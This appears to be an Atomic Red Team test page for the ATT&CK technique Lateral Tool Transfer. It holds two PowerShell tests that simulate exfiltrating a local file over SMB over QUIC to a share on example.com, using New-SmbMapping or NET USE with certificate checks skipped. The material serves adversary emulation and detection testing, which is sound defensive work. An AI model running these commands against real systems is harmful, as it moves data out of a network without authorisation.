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Lateral Tool Transfer

Description from ATT&CK

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.(Citation: Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)

Atomic Tests

Atomic Test #1 - Exfiltration Over SMB over QUIC (New-SmbMapping)

Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command. Prerequisites:

  • A file server running Windows Server 2022 Datacenter: Azure Edition
  • A Windows 11 computer
  • Windows Admin Center

Supported Platforms: windows

auto_generated_guid: d8d13303-159e-4f33-89f4-9f07812d016f

Inputs:

Name Description Type Default Value
remote_path The UNC path to the share on the file server string \example.com\sales
local_file The local file to be transferred path C:\path\to\file.txt

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck
copy '#{local_file}' 'Z:\'

Atomic Test #2 - Exfiltration Over SMB over QUIC (NET USE)

Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command. Prerequisites:

  • A file server running Windows Server 2022 Datacenter: Azure Edition
  • A Windows 11 computer
  • Windows Admin Center

Supported Platforms: windows

auto_generated_guid: 183235ca-8e6c-422c-88c2-3aa28c4825d9

Inputs:

Name Description Type Default Value
remote_path The UNC path to the share on the file server string \example.com\sales
local_file The local file to be transferred path C:\path\to\file.txt

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
copy '#{local_file}' '*:\'

source